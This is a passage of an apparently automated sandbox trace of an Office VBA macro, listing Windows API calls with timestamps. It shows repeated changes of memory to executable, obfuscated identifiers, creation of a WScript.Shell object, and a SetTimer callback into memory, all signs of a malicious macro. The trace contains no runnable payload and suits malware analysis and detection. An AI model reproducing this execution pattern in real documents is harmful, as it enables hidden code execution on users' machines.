dwSize=0x14) returned 1 [0115.058] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.059] GetCurrentProcess () returned 0xffffffff [0115.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0115.059] GetCurrentProcess () returned 0xffffffff [0115.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0115.059] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.060] GetCurrentProcess () returned 0xffffffff [0115.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0115.060] GetCurrentProcess () returned 0xffffffff [0115.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0115.060] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.061] GetCurrentProcess () returned 0xffffffff [0115.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0115.061] GetCurrentProcess () returned 0xffffffff [0115.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0115.061] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.061] GetCurrentProcess () returned 0xffffffff [0115.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0115.061] GetCurrentProcess () returned 0xffffffff [0115.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0115.062] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.062] GetCurrentProcess () returned 0xffffffff [0115.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0115.062] GetCurrentProcess () returned 0xffffffff [0115.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0115.062] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.063] GetCurrentProcess () returned 0xffffffff [0115.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0115.063] GetCurrentProcess () returned 0xffffffff [0115.118] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0115.118] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.119] GetCurrentProcess () returned 0xffffffff [0115.119] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0115.119] GetCurrentProcess () returned 0xffffffff [0115.119] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0115.119] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0115.120] GetCurrentProcess () returned 0xffffffff [0115.120] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0115.121] GetAsyncKeyState (vKey=3) returned 0 [0115.121] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x2 [0115.121] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x2 [0115.121] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x2 [0115.121] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x1 [0115.123] CRetailMalloc_Alloc () returned 0xcb7cfd8 [0115.123] memcpy (in: _Dst=0xcf94f48, _Src=0x197468, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.123] memcpy (in: _Dst=0xcf95050, _Src=0x197484, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0115.123] memcpy (in: _Dst=0xcf94f48, _Src=0x197468, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2f0e, cbMultiByte=10, lpWideCharStr=0x197284, cchWideChar=11 | out: lpWideCharStr="GetObject") returned 10 [0115.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a06c6, cbMultiByte=10, lpWideCharStr=0x1972e4, cchWideChar=11 | out: lpWideCharStr="GetObject") returned 10 [0115.124] memcpy (in: _Dst=0xcf94f48, _Src=0x1972d4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.124] memcpy (in: _Dst=0xcf94f48, _Src=0x197468, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.124] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x97\x96\x97\x97\x97\x96\x97\x97\x96\x97\x96\x97\x97\x97\x97\x96\x97\x97\x97\x96\x97\x97\x97", cchCount1=-1, lpString2="\x97\x96\x97\x97\x96\x96\x97\x97\x97\x96\x96\x97\x97\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97\x96\x97", cchCount2=-1) returned 3 [0115.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2f36, cbMultiByte=26, lpWideCharStr=0x197284, cchWideChar=27 | out: lpWideCharStr="—–——––———––——–——–—–––——–—") returned 26 [0115.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a068e, cbMultiByte=26, lpWideCharStr=0x1972e4, cchWideChar=27 | out: lpWideCharStr="—–——––———––——–——–—–––——–—") returned 26 [0115.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a068e, cbMultiByte=26, lpWideCharStr=0x1972e4, cchWideChar=27 | out: lpWideCharStr="—–——––———––——–——–—–––——–—") returned 26 [0115.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a068e, cbMultiByte=26, lpWideCharStr=0x1972e4, cchWideChar=27 | out: lpWideCharStr="—–——––———––——–——–—–––——–—") returned 26 [0115.125] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x97\x96\x97\x97\x97\x96\x97\x97\x96\x97\x96\x97\x97\x97\x97\x96\x97\x97\x97\x96\x97\x97\x97", cchCount1=-1, lpString2="\x97\x96\x97\x97\x96\x96\x97\x97\x97\x96\x96\x97\x97\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97\x96\x97", cchCount2=-1) returned 3 [0115.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a068e, cbMultiByte=26, lpWideCharStr=0x1972e4, cchWideChar=27 | out: lpWideCharStr="—–——––———––——–——–—–––——–—") returned 26 [0115.125] CRetailMalloc_Alloc () returned 0xc85d118 [0115.125] _mbscpy_s (in: _Dst=0xc85d118, _DstSizeInBytes=0x1a, _Src=0x112a068e | out: _Dst=0xc85d118) returned 0x0 [0115.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0c7e, cbMultiByte=33, lpWideCharStr=0x1972f4, cchWideChar=34 | out: lpWideCharStr="_B_var_—–——––———––——–——–—–––——–—") returned 33 [0115.126] _mbscpy_s (in: _Dst=0x19735c, _DstSizeInBytes=0x1a, _Src=0x112a068e | out: _Dst=0x19735c) returned 0x0 [0115.126] CRetailMalloc_Free () returned 0x1 [0115.126] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0115.126] memcpy (in: _Dst=0xcf94f48, _Src=0x197468, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.126] memcpy (in: _Dst=0xcf94f4c, _Src=0x197468, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0115.126] memcpy (in: _Dst=0xcf94f48, _Src=0x1972d4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.126] memcpy (in: _Dst=0xcf94f48, _Src=0x1972d4, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.127] memcpy (in: _Dst=0xcf94f48, _Src=0x197468, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.127] memcpy (in: _Dst=0xcf94f48, _Src=0x197468, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0115.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0115.127] memcpy (in: _Dst=0xcb7d058, _Src=0x197504, _Size=0x18 | out: _Dst=0xcb7d058) returned 0xcb7d058 [0115.127] CRetailMalloc_Realloc () returned 0xcb7cfd8 [0115.127] CRetailMalloc_Free () returned 0x1 [0115.127] GetCurrentProcess () returned 0xffffffff [0115.127] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0115.127] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.128] GetCurrentProcess () returned 0xffffffff [0115.128] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0115.128] GetCurrentProcess () returned 0xffffffff [0115.128] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0115.128] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.129] GetCurrentProcess () returned 0xffffffff [0115.129] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0115.129] GetCurrentProcess () returned 0xffffffff [0115.129] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0115.129] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.129] GetCurrentProcess () returned 0xffffffff [0115.129] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0115.129] GetCurrentProcess () returned 0xffffffff [0115.129] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0115.130] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.130] GetCurrentProcess () returned 0xffffffff [0115.130] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0115.130] GetCurrentProcess () returned 0xffffffff [0115.130] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0115.130] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.131] GetCurrentProcess () returned 0xffffffff [0115.131] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0115.131] GetCurrentProcess () returned 0xffffffff [0115.131] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0115.131] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.131] GetCurrentProcess () returned 0xffffffff [0115.131] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0115.131] GetCurrentProcess () returned 0xffffffff [0115.132] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0115.132] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.132] GetCurrentProcess () returned 0xffffffff [0115.132] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0115.132] GetCurrentProcess () returned 0xffffffff [0115.132] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0115.132] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.133] GetCurrentProcess () returned 0xffffffff [0115.133] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0115.133] GetCurrentProcess () returned 0xffffffff [0115.133] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0115.133] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.133] GetCurrentProcess () returned 0xffffffff [0115.133] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0115.133] GetCurrentProcess () returned 0xffffffff [0115.133] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0115.133] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.134] GetCurrentProcess () returned 0xffffffff [0115.134] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0115.134] GetCurrentProcess () returned 0xffffffff [0115.134] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0115.134] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.134] GetCurrentProcess () returned 0xffffffff [0115.134] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0115.134] GetCurrentProcess () returned 0xffffffff [0115.134] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0115.134] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.135] GetCurrentProcess () returned 0xffffffff [0115.135] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0115.135] GetCurrentProcess () returned 0xffffffff [0115.135] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0115.135] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.135] GetCurrentProcess () returned 0xffffffff [0115.135] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0115.135] GetCurrentProcess () returned 0xffffffff [0115.135] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0115.135] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.136] GetCurrentProcess () returned 0xffffffff [0115.136] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0115.136] GetCurrentProcess () returned 0xffffffff [0115.136] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0115.136] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.136] GetCurrentProcess () returned 0xffffffff [0115.136] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0115.136] GetCurrentProcess () returned 0xffffffff [0115.136] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0115.136] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.137] GetCurrentProcess () returned 0xffffffff [0115.137] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0115.137] GetCurrentProcess () returned 0xffffffff [0115.137] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0115.137] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.137] GetCurrentProcess () returned 0xffffffff [0115.137] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0115.137] GetCurrentProcess () returned 0xffffffff [0115.137] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0115.137] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.138] GetCurrentProcess () returned 0xffffffff [0115.138] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0115.138] GetCurrentProcess () returned 0xffffffff [0115.138] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0115.138] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.139] GetCurrentProcess () returned 0xffffffff [0115.139] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0115.139] GetCurrentProcess () returned 0xffffffff [0115.139] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0115.139] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.139] GetCurrentProcess () returned 0xffffffff [0115.139] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0115.139] GetCurrentProcess () returned 0xffffffff [0115.139] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0115.139] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.140] GetCurrentProcess () returned 0xffffffff [0115.140] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0115.140] GetCurrentProcess () returned 0xffffffff [0115.140] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0115.140] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.141] GetCurrentProcess () returned 0xffffffff [0115.141] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0115.141] GetCurrentProcess () returned 0xffffffff [0115.141] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0115.141] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.142] GetCurrentProcess () returned 0xffffffff [0115.142] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0115.142] GetCurrentProcess () returned 0xffffffff [0115.142] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0115.142] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.143] GetCurrentProcess () returned 0xffffffff [0115.143] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0115.143] GetCurrentProcess () returned 0xffffffff [0115.143] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0115.143] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.143] GetCurrentProcess () returned 0xffffffff [0115.143] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0115.143] GetCurrentProcess () returned 0xffffffff [0115.143] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0115.143] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.144] GetCurrentProcess () returned 0xffffffff [0115.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0115.144] GetCurrentProcess () returned 0xffffffff [0115.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0115.144] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.144] GetCurrentProcess () returned 0xffffffff [0115.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0115.144] GetCurrentProcess () returned 0xffffffff [0115.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0115.145] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.145] GetCurrentProcess () returned 0xffffffff [0115.145] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0115.145] GetCurrentProcess () returned 0xffffffff [0115.145] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0115.145] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.146] GetCurrentProcess () returned 0xffffffff [0115.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0115.146] GetCurrentProcess () returned 0xffffffff [0115.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0115.146] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.146] GetCurrentProcess () returned 0xffffffff [0115.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0115.146] GetCurrentProcess () returned 0xffffffff [0115.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0115.146] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0115.147] GetCurrentProcess () returned 0xffffffff [0115.147] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0115.147] SetErrorMode (uMode=0x8001) returned 0x8001 [0115.147] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0115.147] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0115.147] SetErrorMode (uMode=0x8001) returned 0x8001 [0115.148] GetProcAddress (hModule=0x693e0000, lpProcName=0x272) returned 0x695d533a [0115.149] GetAsyncKeyState (vKey=3) returned 0 [0115.149] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0115.149] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0115.149] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0115.149] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0115.149] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0115.149] CreateBindCtx (in: reserved=0x0, ppbc=0x1977f8 | out: ppbc=0x1977f8*=0xcb46470) returned 0x0 [0115.150] MkParseDisplayName (in: pbc=0xcb46470, szUserName="new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B", pchEaten=0x1977fc, ppmk=0x197800 | out: pchEaten=0x1977fc, ppmk=0x197800*=0xcb46df0) returned 0x0 [0116.667] IUnknown:Release (This=0xcb46470) returned 0x0 [0116.668] BindMoniker (in: pmk=0xcb46df0, grfOpt=0x0, iidResult=0x695f8088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x1977f4 | out: ppvResult=0x1977f4*=0x8cec28c) returned 0x0 [0117.263] IUnknown:Release (This=0xcb46df0) returned 0x0 [0117.264] GetAsyncKeyState (vKey=3) returned 0 [0117.266] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197b9c | out: ppsaOut=0x197b9c) returned 0x0 [0117.266] SafeArrayAllocData (psa=0xc85d278) returned 0x0 [0117.274] SafeArrayDestroyData (psa=0xc85d278) returned 0x0 [0117.274] SafeArrayDestroyDescriptor (psa=0xc85d278) returned 0x0 [0117.281] SetErrorMode (uMode=0x8001) returned 0x8001 [0117.281] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1 [0117.281] LoadLibraryA (lpLibFileName="user32") returned 0x743d0000 [0117.282] SetErrorMode (uMode=0x8001) returned 0x8001 [0117.282] GetProcAddress (hModule=0x743d0000, lpProcName="SetTimer") returned 0x743eee50 [0117.282] SetTimer (hWnd=0x0, nIDEvent=0x1188c020, uElapse=0x1, lpTimerFunc=0x1188c020) returned 0x7f7d [0117.282] GetLastError () returned 0x0 [0117.283] CRetailMalloc_Alloc () returned 0x5c05c8 [0117.283] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.283] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0117.283] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, 